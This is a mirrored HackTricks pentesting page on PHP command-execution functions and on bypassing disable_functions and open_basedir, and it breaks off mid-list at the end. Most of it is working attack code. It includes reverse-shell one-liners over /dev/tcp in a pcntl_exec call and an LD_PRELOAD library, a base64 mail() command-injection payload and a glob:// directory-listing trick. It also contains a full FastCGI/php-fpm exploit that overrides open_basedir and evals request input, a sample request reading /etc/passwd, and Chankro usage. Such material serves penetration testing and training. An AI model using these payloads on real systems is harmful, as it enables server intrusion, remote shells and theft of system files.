mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 02:53:28 +00:00
845 lines
31 KiB
Markdown
845 lines
31 KiB
Markdown
|
# PHP - Useful Functions & disable\_functions/open\_basedir bypass
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## PHP Command & Code Execution
|
||
|
|
||
|
### PHP Command Execution
|
||
|
|
||
|
**Note:** A [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell can **automatically** check and bypass the following function if some of them be disabled.
|
||
|
|
||
|
**exec** - Returns last line of commands output
|
||
|
|
||
|
```bash
|
||
|
echo exec("uname -a");
|
||
|
```
|
||
|
|
||
|
**passthru** - Passes commands output directly to the browser
|
||
|
|
||
|
```bash
|
||
|
echo passthru("uname -a");
|
||
|
```
|
||
|
|
||
|
**system** - Passes commands output directly to the browser and returns last line
|
||
|
|
||
|
```bash
|
||
|
echo system("uname -a");
|
||
|
```
|
||
|
|
||
|
**shell\_exec** - Returns commands output
|
||
|
|
||
|
```bash
|
||
|
echo shell_exec("uname -a");
|
||
|
```
|
||
|
|
||
|
\`\` (backticks) - Same as shell\_exec()
|
||
|
|
||
|
```bash
|
||
|
echo `uname -a`
|
||
|
```
|
||
|
|
||
|
**popen** - Opens read or write pipe to process of a command
|
||
|
|
||
|
```bash
|
||
|
echo fread(popen("/bin/ls /", "r"), 4096);
|
||
|
```
|
||
|
|
||
|
**proc\_open** - Similar to popen() but greater degree of control
|
||
|
|
||
|
```bash
|
||
|
proc_close(proc_open("uname -a",array(),$something));
|
||
|
```
|
||
|
|
||
|
**preg\_replace**
|
||
|
|
||
|
```php
|
||
|
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
|
||
|
```
|
||
|
|
||
|
**pcntl\_exec** - Executes a program (by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function)
|
||
|
|
||
|
```bash
|
||
|
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
|
||
|
```
|
||
|
|
||
|
**mail / mb\_send\_mail** - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output:
|
||
|
|
||
|
```bash
|
||
|
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
|
||
|
```
|
||
|
|
||
|
**dl** - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read[ this page to learn how to exploit this function](disable\_functions-bypass-dl-function.md).
|
||
|
|
||
|
### PHP Code Execution
|
||
|
|
||
|
Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.
|
||
|
|
||
|
```php
|
||
|
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
|
||
|
eval()
|
||
|
assert() // identical to eval()
|
||
|
preg_replace('/.*/e',...) // e does an eval() on the match
|
||
|
create_function() // Create a function and use eval()
|
||
|
include()
|
||
|
include_once()
|
||
|
require()
|
||
|
require_once()
|
||
|
$_GET['func_name']($_GET['argument']);
|
||
|
|
||
|
$func = new ReflectionFunction($_GET['func_name']);
|
||
|
$func->invoke();
|
||
|
// or
|
||
|
$func->invokeArgs(array());
|
||
|
|
||
|
// or serialize/unserialize function
|
||
|
```
|
||
|
|
||
|
## disable\_functions & open\_basedir
|
||
|
|
||
|
**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.\
|
||
|
The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar.
|
||
|
|
||
|
Both configuration can be seen in the output of **`phpinfo()`**:
|
||
|
|
||
|
![](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
|
||
|
|
||
|
![](<../../../../.gitbook/assets/image (493).png>)
|
||
|
|
||
|
## open\_basedir Bypass
|
||
|
|
||
|
`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories.\
|
||
|
However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction.
|
||
|
|
||
|
### Listing dirs with glob:// bypass
|
||
|
|
||
|
In this first example the `glob://` protocol with some path bypass is used:
|
||
|
|
||
|
```php
|
||
|
<?php
|
||
|
$file_list = array();
|
||
|
$it = new DirectoryIterator("glob:///v??/run/*");
|
||
|
foreach($it as $f) {
|
||
|
$file_list[] = $f->__toString();
|
||
|
}
|
||
|
$it = new DirectoryIterator("glob:///v??/run/.*");
|
||
|
foreach($it as $f) {
|
||
|
$file_list[] = $f->__toString();
|
||
|
}
|
||
|
sort($file_list);
|
||
|
foreach($file_list as $f){
|
||
|
echo "{$f}<br/>";
|
||
|
}
|
||
|
```
|
||
|
|
||
|
**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.\
|
||
|
**Note2**: It looks like part of the code is duplicated, but that's actually necessary!\
|
||
|
**Note3**: This example is only useful to list folders not to read files
|
||
|
|
||
|
### Full open\_basedir bypass abusing FastCGI
|
||
|
|
||
|
If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](disable\_functions-bypass-php-fpm-fastcgi.md).\
|
||
|
If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**:
|
||
|
|
||
|
![](<../../../../.gitbook/assets/image (545).png>)
|
||
|
|
||
|
![](<../../../../.gitbook/assets/image (577).png>)
|
||
|
|
||
|
Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.\
|
||
|
Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
|
||
|
|
||
|
```php
|
||
|
<?php
|
||
|
/**
|
||
|
* Note : Code is released under the GNU LGPL
|
||
|
*
|
||
|
* Please do not change the header of this file
|
||
|
*
|
||
|
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
|
||
|
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
|
||
|
* the License, or (at your option) any later version.
|
||
|
*
|
||
|
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
|
||
|
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||
|
*
|
||
|
* See the GNU Lesser General Public License for more details.
|
||
|
*/
|
||
|
/**
|
||
|
* Handles communication with a FastCGI application
|
||
|
*
|
||
|
* @author Pierrick Charron <pierrick@webstart.fr>
|
||
|
* @version 1.0
|
||
|
*/
|
||
|
class FCGIClient
|
||
|
{
|
||
|
const VERSION_1 = 1;
|
||
|
const BEGIN_REQUEST = 1;
|
||
|
const ABORT_REQUEST = 2;
|
||
|
const END_REQUEST = 3;
|
||
|
const PARAMS = 4;
|
||
|
const STDIN = 5;
|
||
|
const STDOUT = 6;
|
||
|
const STDERR = 7;
|
||
|
const DATA = 8;
|
||
|
const GET_VALUES = 9;
|
||
|
const GET_VALUES_RESULT = 10;
|
||
|
const UNKNOWN_TYPE = 11;
|
||
|
const MAXTYPE = self::UNKNOWN_TYPE;
|
||
|
const RESPONDER = 1;
|
||
|
const AUTHORIZER = 2;
|
||
|
const FILTER = 3;
|
||
|
const REQUEST_COMPLETE = 0;
|
||
|
const CANT_MPX_CONN = 1;
|
||
|
const OVERLOADED = 2;
|
||
|
const UNKNOWN_ROLE = 3;
|
||
|
const MAX_CONNS = 'MAX_CONNS';
|
||
|
const MAX_REQS = 'MAX_REQS';
|
||
|
const MPXS_CONNS = 'MPXS_CONNS';
|
||
|
const HEADER_LEN = 8;
|
||
|
/**
|
||
|
* Socket
|
||
|
* @var Resource
|
||
|
*/
|
||
|
private $_sock = null;
|
||
|
/**
|
||
|
* Host
|
||
|
* @var String
|
||
|
*/
|
||
|
private $_host = null;
|
||
|
/**
|
||
|
* Port
|
||
|
* @var Integer
|
||
|
*/
|
||
|
private $_port = null;
|
||
|
/**
|
||
|
* Keep Alive
|
||
|
* @var Boolean
|
||
|
*/
|
||
|
private $_keepAlive = false;
|
||
|
/**
|
||
|
* Constructor
|
||
|
*
|
||
|
* @param String $host Host of the FastCGI application
|
||
|
* @param Integer $port Port of the FastCGI application
|
||
|
*/
|
||
|
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
|
||
|
{
|
||
|
$this->_host = $host;
|
||
|
$this->_port = $port;
|
||
|
}
|
||
|
/**
|
||
|
* Define whether or not the FastCGI application should keep the connection
|
||
|
* alive at the end of a request
|
||
|
*
|
||
|
* @param Boolean $b true if the connection should stay alive, false otherwise
|
||
|
*/
|
||
|
public function setKeepAlive($b)
|
||
|
{
|
||
|
$this->_keepAlive = (boolean)$b;
|
||
|
if (!$this->_keepAlive && $this->_sock) {
|
||
|
fclose($this->_sock);
|
||
|
}
|
||
|
}
|
||
|
/**
|
||
|
* Get the keep alive status
|
||
|
*
|
||
|
* @return Boolean true if the connection should stay alive, false otherwise
|
||
|
*/
|
||
|
public function getKeepAlive()
|
||
|
{
|
||
|
return $this->_keepAlive;
|
||
|
}
|
||
|
/**
|
||
|
* Create a connection to the FastCGI application
|
||
|
*/
|
||
|
private function connect()
|
||
|
{
|
||
|
if (!$this->_sock) {
|
||
|
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
|
||
|
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
|
||
|
if (!$this->_sock) {
|
||
|
throw new Exception('Unable to connect to FastCGI application');
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
/**
|
||
|
* Build a FastCGI packet
|
||
|
*
|
||
|
* @param Integer $type Type of the packet
|
||
|
* @param String $content Content of the packet
|
||
|
* @param Integer $requestId RequestId
|
||
|
*/
|
||
|
private function buildPacket($type, $content, $requestId = 1)
|
||
|
{
|
||
|
$clen = strlen($content);
|
||
|
return chr(self::VERSION_1) /* version */
|
||
|
. chr($type) /* type */
|
||
|
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
|
||
|
. chr($requestId & 0xFF) /* requestIdB0 */
|
||
|
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
|
||
|
. chr($clen & 0xFF) /* contentLengthB0 */
|
||
|
. chr(0) /* paddingLength */
|
||
|
. chr(0) /* reserved */
|
||
|
. $content; /* content */
|
||
|
}
|
||
|
/**
|
||
|
* Build an FastCGI Name value pair
|
||
|
*
|
||
|
* @param String $name Name
|
||
|
* @param String $value Value
|
||
|
* @return String FastCGI Name value pair
|
||
|
*/
|
||
|
private function buildNvpair($name, $value)
|
||
|
{
|
||
|
$nlen = strlen($name);
|
||
|
$vlen = strlen($value);
|
||
|
if ($nlen < 128) {
|
||
|
/* nameLengthB0 */
|
||
|
$nvpair = chr($nlen);
|
||
|
} else {
|
||
|
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
|
||
|
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
|
||
|
}
|
||
|
if ($vlen < 128) {
|
||
|
/* valueLengthB0 */
|
||
|
$nvpair .= chr($vlen);
|
||
|
} else {
|
||
|
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
|
||
|
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
|
||
|
}
|
||
|
/* nameData & valueData */
|
||
|
return $nvpair . $name . $value;
|
||
|
}
|
||
|
/**
|
||
|
* Read a set of FastCGI Name value pairs
|
||
|
*
|
||
|
* @param String $data Data containing the set of FastCGI NVPair
|
||
|
* @return array of NVPair
|
||
|
*/
|
||
|
private function readNvpair($data, $length = null)
|
||
|
{
|
||
|
$array = array();
|
||
|
if ($length === null) {
|
||
|
$length = strlen($data);
|
||
|
}
|
||
|
$p = 0;
|
||
|
while ($p != $length) {
|
||
|
$nlen = ord($data{$p++});
|
||
|
if ($nlen >= 128) {
|
||
|
$nlen = ($nlen & 0x7F << 24);
|
||
|
$nlen |= (ord($data{$p++}) << 16);
|
||
|
$nlen |= (ord($data{$p++}) << 8);
|
||
|
$nlen |= (ord($data{$p++}));
|
||
|
}
|
||
|
$vlen = ord($data{$p++});
|
||
|
if ($vlen >= 128) {
|
||
|
$vlen = ($nlen & 0x7F << 24);
|
||
|
$vlen |= (ord($data{$p++}) << 16);
|
||
|
$vlen |= (ord($data{$p++}) << 8);
|
||
|
$vlen |= (ord($data{$p++}));
|
||
|
}
|
||
|
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
|
||
|
$p += ($nlen + $vlen);
|
||
|
}
|
||
|
return $array;
|
||
|
}
|
||
|
/**
|
||
|
* Decode a FastCGI Packet
|
||
|
*
|
||
|
* @param String $data String containing all the packet
|
||
|
* @return array
|
||
|
*/
|
||
|
private function decodePacketHeader($data)
|
||
|
{
|
||
|
$ret = array();
|
||
|
$ret['version'] = ord($data{0});
|
||
|
$ret['type'] = ord($data{1});
|
||
|
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
|
||
|
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
|
||
|
$ret['paddingLength'] = ord($data{6});
|
||
|
$ret['reserved'] = ord($data{7});
|
||
|
return $ret;
|
||
|
}
|
||
|
/**
|
||
|
* Read a FastCGI Packet
|
||
|
*
|
||
|
* @return array
|
||
|
*/
|
||
|
private function readPacket()
|
||
|
{
|
||
|
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
|
||
|
$resp = $this->decodePacketHeader($packet);
|
||
|
$resp['content'] = '';
|
||
|
if ($resp['contentLength']) {
|
||
|
$len = $resp['contentLength'];
|
||
|
while ($len && $buf=fread($this->_sock, $len)) {
|
||
|
$len -= strlen($buf);
|
||
|
$resp['content'] .= $buf;
|
||
|
}
|
||
|
}
|
||
|
if ($resp['paddingLength']) {
|
||
|
$buf=fread($this->_sock, $resp['paddingLength']);
|
||
|
}
|
||
|
return $resp;
|
||
|
} else {
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
/**
|
||
|
* Get Informations on the FastCGI application
|
||
|
*
|
||
|
* @param array $requestedInfo information to retrieve
|
||
|
* @return array
|
||
|
*/
|
||
|
public function getValues(array $requestedInfo)
|
||
|
{
|
||
|
$this->connect();
|
||
|
$request = '';
|
||
|
foreach ($requestedInfo as $info) {
|
||
|
$request .= $this->buildNvpair($info, '');
|
||
|
}
|
||
|
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
|
||
|
$resp = $this->readPacket();
|
||
|
if ($resp['type'] == self::GET_VALUES_RESULT) {
|
||
|
return $this->readNvpair($resp['content'], $resp['length']);
|
||
|
} else {
|
||
|
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
|
||
|
}
|
||
|
}
|
||
|
/**
|
||
|
* Execute a request to the FastCGI application
|
||
|
*
|
||
|
* @param array $params Array of parameters
|
||
|
* @param String $stdin Content
|
||
|
* @return String
|
||
|
*/
|
||
|
public function request(array $params, $stdin)
|
||
|
{
|
||
|
$response = '';
|
||
|
$this->connect();
|
||
|
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
|
||
|
$paramsRequest = '';
|
||
|
foreach ($params as $key => $value) {
|
||
|
$paramsRequest .= $this->buildNvpair($key, $value);
|
||
|
}
|
||
|
if ($paramsRequest) {
|
||
|
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
|
||
|
}
|
||
|
$request .= $this->buildPacket(self::PARAMS, '');
|
||
|
if ($stdin) {
|
||
|
$request .= $this->buildPacket(self::STDIN, $stdin);
|
||
|
}
|
||
|
$request .= $this->buildPacket(self::STDIN, '');
|
||
|
fwrite($this->_sock, $request);
|
||
|
do {
|
||
|
$resp = $this->readPacket();
|
||
|
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
|
||
|
$response .= $resp['content'];
|
||
|
}
|
||
|
} while ($resp && $resp['type'] != self::END_REQUEST);
|
||
|
var_dump($resp);
|
||
|
if (!is_array($resp)) {
|
||
|
throw new Exception('Bad request');
|
||
|
}
|
||
|
switch (ord($resp['content']{4})) {
|
||
|
case self::CANT_MPX_CONN:
|
||
|
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
|
||
|
break;
|
||
|
case self::OVERLOADED:
|
||
|
throw new Exception('New request rejected; too busy [OVERLOADED]');
|
||
|
break;
|
||
|
case self::UNKNOWN_ROLE:
|
||
|
throw new Exception('Role value not known [UNKNOWN_ROLE]');
|
||
|
break;
|
||
|
case self::REQUEST_COMPLETE:
|
||
|
return $response;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
?>
|
||
|
<?php
|
||
|
// real exploit start here
|
||
|
if (!isset($_REQUEST['cmd'])) {
|
||
|
die("Check your input\n");
|
||
|
}
|
||
|
if (!isset($_REQUEST['filepath'])) {
|
||
|
$filepath = __FILE__;
|
||
|
}else{
|
||
|
$filepath = $_REQUEST['filepath'];
|
||
|
}
|
||
|
$req = '/'.basename($filepath);
|
||
|
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
|
||
|
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
|
||
|
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
|
||
|
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
|
||
|
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
|
||
|
$params = array(
|
||
|
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
|
||
|
'REQUEST_METHOD' => 'POST',
|
||
|
'SCRIPT_FILENAME' => $filepath,
|
||
|
'SCRIPT_NAME' => $req,
|
||
|
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
|
||
|
'REQUEST_URI' => $uri,
|
||
|
'DOCUMENT_URI' => $req,
|
||
|
#'DOCUMENT_ROOT' => '/',
|
||
|
'PHP_VALUE' => $php_value,
|
||
|
'SERVER_SOFTWARE' => '80sec/wofeiwo',
|
||
|
'REMOTE_ADDR' => '127.0.0.1',
|
||
|
'REMOTE_PORT' => '9985',
|
||
|
'SERVER_ADDR' => '127.0.0.1',
|
||
|
'SERVER_PORT' => '80',
|
||
|
'SERVER_NAME' => 'localhost',
|
||
|
'SERVER_PROTOCOL' => 'HTTP/1.1',
|
||
|
'CONTENT_LENGTH' => strlen($code)
|
||
|
);
|
||
|
// print_r($_REQUEST);
|
||
|
// print_r($params);
|
||
|
//echo "Call: $uri\n\n";
|
||
|
echo $client->request($params, $code)."\n";
|
||
|
?>
|
||
|
```
|
||
|
|
||
|
This scripts will communicate with **unix socket of php-fpm** (usually located in /var/run if fpm is used) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP\_VALUE** attribute that is sent.\
|
||
|
Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.\
|
||
|
Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.\
|
||
|
Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file.
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP\_VALUE won't be effective on this specific setting.
|
||
|
{% endhint %}
|
||
|
|
||
|
## disable\_functions Bypass
|
||
|
|
||
|
If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**\
|
||
|
So, lets see how you can bypass this restriction (if you can)
|
||
|
|
||
|
### Automatic bypass discovery
|
||
|
|
||
|
You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which function (if any) you can use to **bypass** **`disable_functions`**.
|
||
|
|
||
|
### Bypassing using other system functions
|
||
|
|
||
|
Just return to the beginning of this page and **check if any of the command executing functions isn't disabled and available in the environment**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.
|
||
|
|
||
|
### LD\_PRELOAD bypass
|
||
|
|
||
|
It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything.
|
||
|
|
||
|
#### Functions that can be used to bypass disable\_functions with LD\_PRELOAD
|
||
|
|
||
|
* **`mail`**
|
||
|
* **`mb_send_mail`**: Effective when the `php-mbstring` module is installed.
|
||
|
* **`imap_mail`**: Works if `php-imap` module is present.
|
||
|
* **`libvirt_connect`**: Requires the `php-libvirt-php` module.
|
||
|
* **`gnupg_init`**: Utilizable with the `php-gnupg` module installed.
|
||
|
* **`new imagick()`**: This class can be abused to bypass restrictions. Detailed exploitation techniques can be found in a comprehensive [**writeup here**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
|
||
|
|
||
|
You can [**find here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions.
|
||
|
|
||
|
Here is a library you can compile to abuse the `LD_PRELOAD` env variable:
|
||
|
|
||
|
```php
|
||
|
#include <unistd.h>
|
||
|
#include <sys/types.h>
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
|
||
|
uid_t getuid(void){
|
||
|
unsetenv("LD_PRELOAD");
|
||
|
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
|
||
|
return 1;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
#### Bypass using Chankro
|
||
|
|
||
|
In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it (access it via web).\
|
||
|
**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the\*\*`LD_PRELOAD` trick + PHP `mail()`\*\* function to execute the reverse shell.
|
||
|
|
||
|
Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\
|
||
|
In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro\_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** (that's the file you need to upload to the victims server):
|
||
|
|
||
|
{% tabs %}
|
||
|
{% tab title="shell.sh" %}
|
||
|
```php
|
||
|
#!/bin/sh
|
||
|
whoami > /tmp/chankro_shell.out
|
||
|
```
|
||
|
{% endtab %}
|
||
|
|
||
|
{% tab title="Chankro" %}
|
||
|
```bash
|
||
|
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
|
||
|
```
|
||
|
{% endtab %}
|
||
|
{% endtabs %}
|
||
|
|
||
|
If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb\_send\_mail.**\
|
||
|
More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/)
|
||
|
|
||
|
### "Bypass" using PHP capabilities
|
||
|
|
||
|
Note that using **PHP** you can **read and write files, create directories and change permissions**.\
|
||
|
You can even **dump databases**.\
|
||
|
Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key).
|
||
|
|
||
|
I have created a webshell that makes very easy to perform this actions (note that most webshells will offer you this options also): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
|
||
|
|
||
|
### Modules/Version dependent bypasses
|
||
|
|
||
|
There are several ways to bypass disable\_functions if some specific module is being used or exploit some specific PHP version:
|
||
|
|
||
|
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
|
||
|
* [**Bypass with FFI - Foreign Function Interface enabled**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md)
|
||
|
* [**Bypass via mem**](disable\_functions-bypass-via-mem.md)
|
||
|
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
|
||
|
* [**PHP Perl Extension Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
|
||
|
* [**dl function**](disable\_functions-bypass-dl-function.md)
|
||
|
* [**This exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
|
||
|
* 5.\* - exploitable with minor changes to the PoC
|
||
|
* 7.0 - all versions to date
|
||
|
* 7.1 - all versions to date
|
||
|
* 7.2 - all versions to date
|
||
|
* 7.3 - all versions to date
|
||
|
* 7.4 - all versions to date
|
||
|
* 8.0 - all versions to date
|
||
|
* [**From 7.0 to 8.0 exploit (Unix only)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
|
||
|
* [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
|
||
|
* [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
|
||
|
* [**PHP 5.x Shellsock**](disable\_functions-php-5.x-shellshock-exploit.md)
|
||
|
* [**PHP 5.2.4 ionCube**](disable\_functions-php-5.2.4-ioncube-extension-exploit.md)
|
||
|
* [**PHP <= 5.2.9 Windows**](disable\_functions-bypass-php-less-than-5.2.9-on-windows.md)
|
||
|
* [**PHP 5.2.4/5.2.5 cURL**](disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
|
||
|
* [**PHP 5.2.3 -Win32std**](disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
|
||
|
* [**PHP 5.2 FOpen exploit**](disable\_functions-bypass-php-5.2-fopen-exploit.md)
|
||
|
* [**PHP 4 >= 4.2.-, PHP 5 pcntl\_exec**](disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md)
|
||
|
|
||
|
### **Automatic Tool**
|
||
|
|
||
|
The following script tries some of the methods commented here:\
|
||
|
[https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php)
|
||
|
|
||
|
## Other Interesting PHP functions
|
||
|
|
||
|
### List of functions which accept callbacks
|
||
|
|
||
|
These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.
|
||
|
|
||
|
[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
|
||
|
|
||
|
[Following lists from here](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
|
||
|
|
||
|
```php
|
||
|
// Function => Position of callback arguments
|
||
|
'ob_start' => 0,
|
||
|
'array_diff_uassoc' => -1,
|
||
|
'array_diff_ukey' => -1,
|
||
|
'array_filter' => 1,
|
||
|
'array_intersect_uassoc' => -1,
|
||
|
'array_intersect_ukey' => -1,
|
||
|
'array_map' => 0,
|
||
|
'array_reduce' => 1,
|
||
|
'array_udiff_assoc' => -1,
|
||
|
'array_udiff_uassoc' => array(-1, -2),
|
||
|
'array_udiff' => -1,
|
||
|
'array_uintersect_assoc' => -1,
|
||
|
'array_uintersect_uassoc' => array(-1, -2),
|
||
|
'array_uintersect' => -1,
|
||
|
'array_walk_recursive' => 1,
|
||
|
'array_walk' => 1,
|
||
|
'assert_options' => 1,
|
||
|
'uasort' => 1,
|
||
|
'uksort' => 1,
|
||
|
'usort' => 1,
|
||
|
'preg_replace_callback' => 1,
|
||
|
'spl_autoload_register' => 0,
|
||
|
'iterator_apply' => 1,
|
||
|
'call_user_func' => 0,
|
||
|
'call_user_func_array' => 0,
|
||
|
'register_shutdown_function' => 0,
|
||
|
'register_tick_function' => 0,
|
||
|
'set_error_handler' => 0,
|
||
|
'set_exception_handler' => 0,
|
||
|
